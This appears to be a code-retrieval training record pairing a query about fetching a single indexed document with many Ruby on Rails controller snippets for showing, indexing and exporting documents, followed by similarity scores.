"def timeline\n @activities = UserActivity\n .select('user_activities.*, u1.name, u1.image, u2.name as user_name_affected, u2.id as user_id_affected, books.title, u3.name as user_name_status, u3.id as user_id_status, u3.image as user_image_status, content, s.image as status_image, location, amountlike')\n .joins('LEFT OUTER JOIN users u1 on user_activities.user_id = u1.\"id\"')\n .joins('LEFT OUTER JOIN books on user_activities.book_affected = books.\"id\"')\n .joins('LEFT OUTER JOIN users u2 on user_activities.user_affected = u2.\"id\"')\n .joins('LEFT OUTER JOIN statuses s on user_activities.status_id = s.\"id\"')\n .joins('LEFT OUTER JOIN users u3 on s.user_id = u3.id')\n .joins('LEFT OUTER JOIN (select COUNT(*) as amountlike, user_activity_id from like_activities group by user_activity_id) la on user_activities.id = la.user_activity_id')\n .order('user_activities.created_at DESC')\n like_activities = LikeActivity.where('user_id = ?', current_user.id)\n @likeArrOfCurrentUser = Array.new\n @activities.each_with_index do |activity, i|\n like_activities.each do |like_activity|\n if activity.id == like_activity.user_activity_id\n @likeArrOfCurrentUser.push(i)\n end\n end\n end\n return @activities, @likeArrOfCurrentUser\n end",
"def index\n @topics = Topic.all\n @topics_json = turn_topics_to_timeline_json(@topics)\n respond_to do |format|\n format.html\n format.json { render :json => @topics_json } #debug use\n end\n\n end",
"def update_timeline\n tl = Timeline.where(resource_type: \"Stream\", resource_id: self.id).first\n if tl\n tl.promoted = self.promoted\n tl.status = self.status\n tl.likes = self.likes\n tl.lat = self.lat\n tl.lng = self.lng\n tl.playcount = self.playcount\n tl.save\n end\n end",
"def fetch_timeline(screen_name)\n return [] if screen_name.to_s.empty?\n @requests += 1\n timeline = client.user_timeline(screen_name, tweet_mode: 'extended', count: 200)\n return timeline if timeline.empty?\n timeline = fetch_older_tweets(timeline, screen_name)\n puts \"Fetched #{screen_name}'s timeline\"\n timeline\n end",
"def user_timeline(screen_name)\n #need to handle invalid data\n @client.user_timeline(screen_name).take(20)\n end",
"def public_timeline\n call( 'statuses/public_timeline.json' )\n end",
"def timeline\n configure\n # Twitter.home_timeline returns a list of Twitter::Status\n # We can get the body of a Twitter::Status by writing status.text,\n # The poster's real name via status.user.name\n # and the poster's screen name via status.user.screen_name\n Twitter.home_timeline.map { |item|\n twitter_id = item.id.to_s\n if not Tweet.find_by_twitter_id twitter_id # Avoid saving duplicates\n Tweet.create! :text => Twitter::Autolink.auto_link(item.text),\n :tweeter => item.user.name,\n :tweeter_screen_name => item.user.screen_name,\n :published_at => item.created_at,\n :twitter_id => twitter_id,\n :user => @user\n end\n }.compact\n end",
"def get_timeline\n HTTParty.post(\"#{@api_path}/tweets/#{@handle}/#{@password}\")\n end",
"def set_timeline_event\n @timeline_event = TimelineEvent.find(params[:id])\n end",
"def page_views_dashboard\n @timeframes = Impression::TIMEFRAMES\n end",
"def get_views(entity)\n return []\n end",
"def show\n @tap_log_record = current_account.tap_log_records.find(params[:id])\n authorize! :view, @tap_log_record\n @current_activity = @tap_log_record.current_activity\n @during_this = @tap_log_record.during_this\n @previous_activity = @tap_log_record.previous.activity.first\n @previous_entry = @tap_log_record.previous.first\n @next_activity = @tap_log_record.next.activity.first\n @next_entry = @tap_log_record.next.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tap_log_record }\n end\n end",
"def timeline_params\n params.fetch(:timeline, {})\n end",
"def timeline()\n timeline = @params[:timeline]\n blockTimeline = s(:block, nil)\n n = timeline.size\n\n only_exec_evts = timeline.reject { |x| x[:stop] == -1 }.size() == 0 \n timeline.push(timeline_event(\"__all__\", 0, @duration)) if only_exec_evts\n \n to_stop = timeline.sort { |x,y| x[:stop] <=> y[:stop] }\n to_stop.delete_if { |x| x[:stop] == -1 } \n to_start = timeline.sort { |x,y| x[:start] <=> y[:start] }\n \n tm = empty_init_object\n timeline_tm = 0\n i = 1\n\n while (to_start.size > 0 or to_stop.size > 0) do\n prev_tm = tm\n tm = timeline_get_tm(tm, to_start, to_stop)\n wait_time = tm[:tm] - prev_tm[:tm]\n i -= 1\n blockTimeline[i+=1] = waitStatement(wait_time) if wait_time.to_i > 0\n if tm[:action] == \"start\"\n blockTimeline[i+1] = groupStart(tm[:group])\n elsif tm[:action] == \"stop\"\n blockTimeline[i+1] = groupStop(tm[:group])\n elsif tm[:action] == \"command\"\n blockTimeline[i+1] = groupExec({:group => tm[:group], :command => tm[:command]})\n end\n i += 2\n end\n blockTimeline[i] = experimentDone()\n return blockTimeline\n end",
"def index\n @upcoming_moments = current_user.moments.order('date ASC').where('date > ?', DateTime.now)\n @past_moments = current_user.moments.order('date DESC').where('date < ?', DateTime.now)\n end",
"def timeline\n sent_friends = \"SELECT receiver_id FROM relationships\n WHERE requester_id = :user_id\n AND confirmed_friends = true\"\n received_friends = \"SELECT requester_id FROM relationships\n WHERE receiver_id = :user_id\n AND confirmed_friends = true\"\n Timeline.where(\"user_id IN (#{sent_friends}) OR \n user_id IN (#{received_friends} OR\n user_id = :user_id)\", user_id: id)\n end",
"def index\n\t\t@timeline_user =devise_current_user\n\tend",
"def new\n @timeline = Timeline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timeline }\n end\n end",
"def show\n @service = Service.find(params[:id], :conditions => conditions)\n @alerts = Alert.all({\n :conditions => [\"service_id = ? and severity <> 0\", @service.id]\n })\n params[:date] = Date.today.to_s if params[:date].blank?\n @date_range = parse_date_range params[:date]\n @metric = @service.metric \n now = Time.now\n #now = Time.parse(\"2010-6-10 12:00\") #for test\n d = @metric.history({:start => now - 24*60*60, :finish => now})\n if d.size > 0\n @history_views = @service.history_views\n @history_views.each do |view|\n view.data = d\n end\n end\n d = @metric.current \n if d\n @default_view = @service.default_view\n @default_view.data = d if @default_view\n @current_views = @service.views\n @current_views.each do |view|\n view.data = d\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { \n #render :xml => @service.to_xml(:dasherize => false)\n }\n end\n end",
"def index\n @timelines = Timeline.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page => params[:page])\n end",
"def index\n @activities = PublicActivity::Activity.published\n\n if params[:recipient_type] and recipient_klass = params[:recipient_type].safe_constantize and r_id = params[:recipient_id] and @recipient = recipient_klass.find(r_id)\n @activities = @activities.on(@recipient)\n elsif current_user\n # This is user current feed !\n query_params = ['User', current_user.id]\n query = \"(activities.recipient_type = ? AND activities.recipient_id = ?)\"\n\n # Followed Pages\n if pages = current_user.followed_pages and pages.present?\n query += \" OR (activities.recipient_type = ? AND activities.recipient_id IN (?))\"\n query_params += [\"Page\"] + [pages.collect(&:id)]\n end\n\n @activities = @activities.where(query, *query_params)\n\n else\n head :bad_request # should not happen\n end\n\n @activities = @activities.order('updated_at DESC, created_at DESC').page(params[:page]).per(5)\n \n authorize @activities\n end",
"def history\n @payments = Payment.all.where(host: current_user).order(\"created_at DESC\")\n#just added, you need to show history and add a new colmn, wheter they were a host or player and show ALL history\n @payments = Payment.all.where(player: current_user).order(\"created_at DESC\")\n\n \n end",
"def history\n @step = Step.find(params[:id])\n @activities = @step.step_activities.order(\"created_at desc\").all\n end",
"def monthly_language_activity\n @data.fetch(\"activity\")\n end",
"def annotated_timeline(daily_counts_by_type, div_id = 'graph', options = {})\n @time_zone = options.delete(:timeZone)\n daily_graph = is_daily?(daily_counts_by_type)\n google_graph_html = google_graph_data(daily_counts_by_type, daily_graph, options)\n\n google_options = format_options_for_javascript(options, daily_graph)\n data_args = google_options.any? ? \"data, {#{google_options.join(\", \")}}\" : \"data\"\n \n html = \"<script type=\\\"text/javascript\\\">\n google.load(\\\"visualization\\\", \\\"1\\\", {packages:[\\\"annotatedtimeline\\\"]});\n google.setOnLoadCallback(drawChart);\n function drawChart(){\n var data = new google.visualization.DataTable();\n #{google_graph_html}\n var chart = new google.visualization.AnnotatedTimeLine(document.getElementById(\\'#{div_id}\\'));\n chart.draw(#{data_args}); \n }\n </script>\"\n end",
"def index\n @interviewschedulers = Interviewscheduler.all\n\n end",
"def recent_activity\n AccessAuditRecord.recent_activity :as => 'table'\n end",
"def show\n authorize! :view_time, current_account\n @record_category = current_account.record_categories.find(params[:id])\n if @record_category.active\n @title = @record_category.name\n else\n @title = @record_category.name + \" (\" + I18n.t('general.inactive') + \")\"\n end\n if request.format.html? or request.format.csv? # JSON doesn't get additional info\n params[:order] ||= 'newest'\n params[:start] ||= (Time.zone.now.to_date - 1.year).midnight.to_s\n params[:end] ||= (Time.zone.now + 1.day).midnight.to_s\n prepare_filters [:date_range, :order, :filter_string, :split]\n @order = params[:order]\n @summary_start = Time.zone.parse(params[:start])\n @summary_end = Time.zone.parse(params[:end])\n @records = @record_category.category_records(:start => @summary_start, :end => @summary_end, :filter_string => params[:filter_string], :include_private => managing?)\n @oldest = @records.order('timestamp ASC').first\n @total_entries = @records.count\n @count_activities = @records.activities.count\n if params[:order] == 'oldest'\n @records = @records.order('timestamp ASC')\n else\n @records = @records.order('timestamp DESC')\n end\n # Okay. We need to paginate, but we also need to split records,\n # and the total should be calculated over everything. So we\n # calculate the total before we paginate, and then we split\n # after pagination.\n if request.format.html?\n @max_duration = 0\n @min_duration = nil\n @heatmap = Hash.new\n @total = 0\n @records.each { |x|\n next unless x.record_category.category_type == 'activity'\n if !x.end_timestamp\n x.duration = ([Time.zone.now, @summary_end].min - x.timestamp).to_i\n end\n @total = @total + x.duration\n d = ((x.duration / 3600.0) * 10.0).to_i / 10.0\n @heatmap[x.timestamp.to_i] = d\n if x.duration > @max_duration\n @max_duration = d\n end\n if @min_duration.nil? || @min_duration > d && d > 0\n @min_duration = d\n end\n }\n @min_duration ||= 0\n @step = (@max_duration - @min_duration) / 3\n @count_domain = (((@summary_end - @summary_start).to_i / 1.day) / 30) + 1\n end\n if request.format.html?\n if @records then @records = @records.paginate :page => params[:page], :per_page => 20 end\n end\n if params[:split] and params[:split] == 'split'\n split = Record.split(@records)\n @records = split\n end \n end\n\n respond_to do |format|\n format.html { }\n format.json { render :json => @record_category }\n format.xml { render :xml => @record_category }\n format.csv {\n csv_string = CSV.generate do |csv|\n csv << [@record_category.id, @record_category.full_name]\n csv << ['start_time', 'end_time', 'record_category_name', 'record_category_id', 'duration', 'source_name', 'source_id', 'data']\n @records.each do |e|\n row = [e.timestamp ? l(e.timestamp, :format => :long) : '',\n e.end_timestamp ? l(e.end_timestamp, :format => :long) : '',\n e.record_category.full_name,\n e.record_category_id,\n e.duration,\n e.source_name,\n e.source_id]\n if e.data\n row += e.data.map { |k, v| [k, v]}.flatten\n end\n csv << row\n end\n end\n send_data csv_string, :type => \"text/plain\", :filename=>\"records.csv\", :disposition => 'attachment'\n }\n end\n end",
"def view_stats_all\n data = {\n :name => \"Company Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n Impression.where(\n \"created_at > ? AND created_at < ? AND action_name = ? AND controller_name = ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day,\n 'stat_show',\n 'companies'\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end",
"def index\n state = params[:tab]\n if state == 'outdated'\n @activities = @group.activities.outdated.order(started_at: :desc)\n else\n @activities = @group.activities.recents.order(started_at: :asc)\n end\n end",
"def new\n @timeline = Timeline.new\n @timeline_tags_json = \"[]\"\n render :template => \"timelines/new\", :formats => [:html], :handlers => :haml\n end",
"def recent_activity\n\t\t(Comment.all + Content.all + Mood.all + Project.all + Milestone.all + Form.all + Client.all + Contact.all).sort_by {|x| x[:updated_at]}.reverse\n\tend",
"def history\n @story = Story.find(params[:id])\n @versions = @story.activity\n end"
] | [
"0.6885383",
"0.6741531",
"0.6580884",
"0.6517158",
"0.6444705",
"0.64377075",
"0.63307446",
"0.6317555",
"0.62505966",
"0.62282896",
"0.62251955",
"0.621379",
"0.621379",
"0.619387",
"0.619387",
"0.6178744",
"0.6147121",
"0.61245745",
"0.6111847",
"0.6107795",
"0.6059163",
"0.6029611",
"0.6029611",
"0.6010746",
"0.5988986",
"0.59602404",
"0.5956963",
"0.5914149",
"0.59070593",
"0.5884046",
"0.58804655",
"0.58788997",
"0.58352983",
"0.5820011",
"0.58167714",
"0.5815261",
"0.5802526",
"0.58019453",
"0.5762733",
"0.5760691",
"0.5736843",
"0.5718862",
"0.57062864",
"0.5664093",
"0.5654008",
"0.56529474",
"0.56309295",
"0.5630738",
"0.5622105",
"0.5601034",
"0.55989194",
"0.55628055",
"0.55500984",
"0.55500984",
"0.553151",
"0.55308044",
"0.5519429",
"0.551588",
"0.55136573",
"0.55107707",
"0.5506326",
"0.5503026",
"0.54909486",
"0.548551",
"0.5480291",
"0.5474364",
"0.5469482",
"0.5467895",
"0.54645157",
"0.54607046",
"0.5453971",
"0.5447515",
"0.5423501",
"0.5418237",
"0.5417793",
"0.54156816",
"0.54139525",
"0.54108906",
"0.5398198",
"0.53923196",
"0.53906816",
"0.53659695",
"0.5361867",
"0.5359201",
"0.5354712",
"0.53484464",
"0.5335329",
"0.5324891",
"0.5324134",
"0.53230584",
"0.5322676",
"0.53215003",
"0.53207254",
"0.5317215",
"0.53165394",
"0.5314639",
"0.53106207",
"0.5301624",
"0.5300009",
"0.52917504",
"0.5290118"
] | 0.0 | -1 |
get a single document from the index to add responses for formats other than html or json see _Blacklight::Document::Export_ | def show
@response, @document = fetch params[:id]
@children = @document.children(limit: 100).select { |child| child.published? }
# assets ordered by label, excludes preservation only files
@assets = @document.assets(ordered: true)
@presenter = DRI::ObjectInCatalogPresenter.new(@document, view_context)
supported_licences
@reader_group = governing_reader_group(@document.collection_id) unless @document.collection?
if @document.published?
Gabba::Gabba.new(GA.tracker, request.host).event(@document.root_collection_id, "View", @document.id, 1, true)
end
respond_to do |format|
format.html { setup_next_and_previous_documents }
format.json do
options = {}
options[:with_assets] = true if can?(:read, @document)
formatter = DRI::Formatters::Json.new(@document, options)
render json: formatter.format(func: :as_json)
end
format.ttl do
options = {}
options[:with_assets] = true if can?(:read, @document)
formatter = DRI::Formatters::Rdf.new(@document, options)
render text: formatter.format({format: :ttl})
end
format.rdf do
options = {}
options[:with_assets] = true if can?(:read, @document)
formatter = DRI::Formatters::Rdf.new(@document, options)
render text: formatter.format({format: :xml})
end
format.js { render layout: false }
additional_export_formats(@document, format)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index_one_document hsh\n response = client.prepare_index(@index, @type).set_source(hsh.to_indexable_json).execute.action_get\n end",
"def get_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Get.new(uri)\n run(uri, req)\n end",
"def show\n @response, @document = search_service.fetch params[:id]\n @documents = [ @document ]\n set_bag_name \n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} params = #{params.inspect}\"\n respond_to do |format|\n format.endnote_xml { render :layout => false } #wrapped render :layout => false in {} to allow for multiple items jac244\n format.endnote { render :layout => false } #wrapped render :layout => false in {} to allow for multiple items jac244\n format.html {setup_next_and_previous_documents}\n format.rss { render :layout => false }\n format.ris { render 'ris', :layout => false }\n #format.ris { render \"ris\", :layout => false }\n # Add all dynamically added (such as by document extensions)\n # export formats.\n @document.export_formats.each_key do | format_name |\n # It's important that the argument to send be a symbol;\n # if it's a string, it makes Rails unhappy for unclear reasons.\n format.send(format_name.to_sym) { render :body => @document.export_as(format_name), :layout => false }\n end\n\n end\n end",
"def index\n @documents = Document.all\n @document = Document.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end",
"def show\n transform_id if /^nyu_\\d{4}_\\d{5}$/.match(params[:id])\n @response, @document = fetch_document(params[:id])\n\n respond_to do |format|\n format.html { setup_next_and_previous_documents }\n format.json { render json: { response: { document: @document } } }\n additional_export_formats(@document, format)\n end\n end",
"def index\n @documents = Document.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end",
"def show\n respond_with( @document = Document.find(params[:id]) )\n end",
"def show\n @response, @document = get_solr_response_for_doc_id params[:id]\n respond_to do |format|\n format.html {setup_next_and_previous_documents}\n format.rss { render :layout => false }\n # Add all dynamically added (such as by document extensions)\n # export formats.\n @document.export_formats.each_key do | format_name |\n # It's important that the argument to send be a symbol;\n # if it's a string, it makes Rails unhappy for unclear reasons.\n format.send(format_name.to_sym) { render :text => @document.export_as(format_name), :layout => false }\n end\n\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render jbuilder: @document }\n end\n end",
"def indexDocument(index, type, document, id)\n self.class.post(\"#{index}/#{type}/#{id}\", :body => document.to_json)\n end",
"def show\n @document = search_service.fetch(params[:id])\n\n respond_to do |format|\n format.html { @search_context = setup_next_and_previous_documents }\n format.json\n additional_export_formats(@document, format)\n end\n end",
"def service_document\n response = get(@url.to_s)\n response.body\n end",
"def save document\n ensure_connection!\n resp = connection.create_doc index_id, document.to_hash\n if resp.success?\n raw = document.instance_variable_get \"@raw\"\n raw.merge! JSON.parse(resp.body)\n return document\n end\n fail ApiError.from_response(resp)\n rescue JSON::ParserError\n raise ApiError.from_response(resp)\n end",
"def index\n @docs = Doc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @docs }\n end\n end",
"def document\n documents.first\n end",
"def index\n @documents = Document.all\n\n respond_to do |format|\n format.html{\n }\n format.json {\n ret = @documents.as_json\n render json:{\n status: 0,\n total: ret.count,\n result: ret\n }\n }\n end\n end",
"def index\n @documents = Document.find :all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @documents }\n end\n end",
"def info\n @document = Document.find(params[:id])\n respond_to do |format|\n format.json { render :json => @document, serializer: Api::Mobile::V2::DynamicDocumentSerializer, root: 'document' }\n end\n end",
"def index\n @special_documents = ModifiedDocument.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @special_documents }\n end\n end",
"def show\n deprecated_response, @document = search_service.fetch(params[:id])\n @response = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(deprecated_response, \"The @response instance variable is deprecated; use @document.response instead.\")\n\n # Our override that can be removed if we can figure out how to do a negatove filter query in the document/get handler\n # without breaking results that shouldn't be filtered.\n raise Blacklight::Exceptions::RecordNotFound if @document.is_suppressed?\n\n respond_to do |format|\n format.html { @search_context = setup_next_and_previous_documents }\n format.json\n additional_export_formats(@document, format)\n end\n end",
"def document(reload = false)\n response_body(reload)\n end",
"def get(id)\n client.get(\n index: name,\n type: document_type.name,\n id: id\n )\n end",
"def show\n \n @document = Document.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n \n end",
"def documents\n return bad_request unless params[:id] and request.format.json? || request.format.js? || request.format.text?\n return not_found unless current_document\n opts = {:access => true, :sections => true, :annotations => true, :data => true}\n if current_account\n opts[:account] = current_account\n opts[:allowed_to_edit] = current_account.allowed_to_edit?(current_document)\n opts[:allowed_to_review] = current_account.reviews?(current_document)\n end\n @response = {'document' => current_document.canonical(opts)}\n respond_to do |format|\n format.text do\n direct = [PRIVATE, ORGANIZATION, EXCLUSIVE].include? current_document.access\n redirect_to(current_document.full_text_url(direct: direct))\n end\n format.json { render_cross_origin_json }\n format.js { render_cross_origin_json }\n end\n end",
"def show\n\t@document = Document.find(params[:id])\n\trender json: {status: 'SUCCESS', message:'Loaded document', data:@document}, status: :ok\n end",
"def get(id)\n Gini::Api::Document.new(self, \"/documents/#{id}\")\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @document.to_json(\n :only => [\n :id,\n :name,\n :checksum,\n :description\n ],\n :include => {\n :elements => {\n :only => [\n :FieldType,\n :FieldName,\n :FieldNameAlt,\n :FieldFlags,\n :FieldJustification,\n :FieldMaxLength\n ],\n :include => {\n :state_options => {\n :only => [\n :value\n ]\n }\n }\n }\n }\n )\n }\n format.xml { render :xml => @document.to_xml(\n :only => [\n :id,\n :name,\n :checksum,\n :description\n ],\n :include => {\n :elements => {\n :only => [\n :FieldType,\n :FieldName,\n :FieldNameAlt,\n :FieldFlags,\n :FieldJustification,\n :FieldMaxLength\n ],\n :include => {\n :state_options => {\n :only => [\n :value\n ]\n }\n }\n }\n }\n )\n }\n end\n end",
"def render_document_export_format format_name\n render\n rescue ActionView::MissingTemplate\n render plain: @response.documents.map { |x| x.export_as(format_name) if x.exports_as? format_name }.compact.join(\"\\n\"), layout: false\n end",
"def render_document_export_format format_name, response\n begin\n render\n rescue ActionView::MissingTemplate\n render text: response.documents.map { |x| x.export_as(format_name) if x.exports_as? format_name }.compact.join(\"\\n\"), layout: false\n end\n end",
"def show\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @doc }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def index\n # @results = []\n # @document.bioc_doc.all_relations.each do |a|\n # e = EntityUtil.get_relation_entity(a)\n # a.locations.each do |l|\n # @results << {did: @document.did, offset: l.offset, text: a.text, length: l.length, infons: a.infons }\n # end\n # end\n @project = @document.project\n @version = params[:version] || @document.version\n @version = @version.to_i if @version.present?\n @is_manager = @project.manager?(current_user)\n\n if @is_manager\n @relations = @document.relations.where('`version`=?', @version)\n else\n @relations = @assign.relations\n end\n @relations = @relations.order(\"offset\")\n end",
"def show\n \n # @response, @document = get_solr_response_for_doc_id(params[:id], )\n @response, @document = get_solr_doc_with_gated_discovery(params[:id])\n folder_siblings(@document)\n\n \n respond_to do |format|\n format.html {setup_next_and_previous_documents}\n\n # Add all dynamically added (such as by document extensions)\n # export formats.\n @document.export_formats.each_key do | format_name |\n # It's important that the argument to send be a symbol;\n # if it's a string, it makes Rails unhappy for unclear reasons. \n format.send(format_name.to_sym) { render :text => @document.export_as(format_name), :layout => false }\n end\n \n end\n rescue Blacklight::Exceptions::InvalidSolrID\n flash[:notice]= \"You do not have sufficient access privileges to read this document, which has been marked private.\"\n redirect_to(\"/\") and return false\n end",
"def new\n \n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n \n end",
"def index\n # @results = []\n # @document.bioc_doc.all_annotations.each do |a|\n # e = EntityUtil.get_annotation_entity(a)\n # a.locations.each do |l|\n # @results << {did: @document.did, offset: l.offset, text: a.text, length: l.length, infons: a.infons }\n # end\n # end\n @project = @document.project\n @version = params[:version] || @document.version\n @version = @version.to_i if @version.present?\n @is_manager = @project.manager?(current_user)\n\n if @is_manager || @project.collaborate_round\n @annotations = @document.annotations.where('`version`=?', @version)\n else\n @annotations = @assign.annotations\n end\n @annotations = @annotations.order(\"offset\")\n end",
"def index\n if request.format.html?\n api_canon_docs\n else\n super\n end\n end",
"def show\n deprecated_response, @document = search_service.fetch(params[:id])\n @response = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(deprecated_response, 'The @response instance variable is deprecated; use @document.response instead.')\n\n if @document['readonly_collection_tesim'].present?\n if @document['readonly_collection_tesim'].first == 'Grant documentation'\n @grant = { 'grantee' => {}, 'grant' => {} }\n grantee_info(@document['readonly_grantee_tesim'])\n grant_info(@document['readonly_grant_tesim'])\n elsif @document['readonly_collection_tesim'].first == 'Oral histories'\n @oral = oral_history_info(@document['readonly_oral_history_tesim'])\n end\n end\n\n respond_to do |format|\n format.html { @search_context = setup_next_and_previous_documents }\n format.json\n additional_export_formats(@document, format)\n end\n end",
"def _index_document(opts = {})\n index_document(opts)\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"def solr_resp_single_doc(doc_id, solr_params = {})\n solr_response(solr_params.merge({'qt'=>'document','id'=>doc_id}))\nend",
"def show\r\n @document = Document.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @document }\r\n end\r\n end",
"def index\n @space = Space.where(:wiki_name => params[:space_id])[0]\n @documents = @space.documents.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documents }\n format.json { render :json => @documents.to_json }\n end\n end",
"def index\n @documentations = Documentation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentations }\n end\n end",
"def new\n @document = Document.new\n @document.document_type = 1\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def index\n if (params[:public])\n @documents = Document.where('public = ?', params[:public])\n else\n @documents = Document.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render jbuilder: @documents }\n end\n end",
"def new\r\n @document = Document.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @document }\r\n end\r\n end",
"def index_document(opts = {})\n params = document_path(opts)\n params[:body] = as_indexed_json\n es_client.index params\n end",
"def document_presenter_class(document)\n formats.first == :json ? CommonwealthVlrEngine::JsonIndexPresenter : super\n end",
"def raw\n raise(ActionController::RoutingError, 'Not Found') unless blacklight_config.raw_endpoint.enabled\n\n @document = search_service.fetch(params[:id])\n render json: @document\n end",
"def index\n @docs = Oa::SentDocument.all#.paginate(:page => params[:page], :order => 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @docs }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # _resource.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @doucment = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @document.to_json(\n :only => [\n :id,\n :name,\n :checksum,\n :description\n ],\n :include => {\n :elements => {\n :only => [\n :FieldType,\n :FieldName,\n :FieldNameAlt,\n :FieldFlags,\n :FieldJustification,\n :FieldMaxLength\n ],\n :include => {\n :state_options => {\n :only => [\n :value\n ]\n }\n }\n }\n }\n )\n }\n format.xml { render :xml => @document.to_xml(\n :only => [\n :id,\n :name,\n :checksum,\n :description\n ],\n :include => {\n :elements => {\n :only => [\n :FieldType,\n :FieldName,\n :FieldNameAlt,\n :FieldFlags,\n :FieldJustification,\n :FieldMaxLength\n ],\n :include => {\n :state_options => {\n :only => [\n :value\n ]\n }\n }\n }\n }\n )\n }\n end\n end",
"def documents; end",
"def documents; end",
"def document\n json = Net::HTTP.get_response URI.parse(query_string(@query))\n json.body\n end",
"def show\n @oa_sent_document = Oa::SentDocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oa_sent_document }\n end\n end",
"def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document }\n end\n end",
"def show\n\n \t\n @companydocument = Companydocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @companydocument }\n end\n\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end",
"def render_document_export_format(fmt_name)\n render\n rescue => e\n unless e.is_a?(ActionView::MissingTemplate)\n Log.error(__method__, e, 'UNEXPECTED')\n end\n docs = @response&.documents || []\n exports = docs.map { |x| x.export_as(fmt_name) if x.exports_as?(fmt_name) }\n render plain: exports.compact.join(\"\\n\"), layout: false\n end",
"def index\n @documentos = @externo.documentos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"def show\n @document_format = DocumentFormat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_format }\n end\n end",
"def index\n @military_document_types = MilitaryDocumentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @military_document_types }\n end\n end",
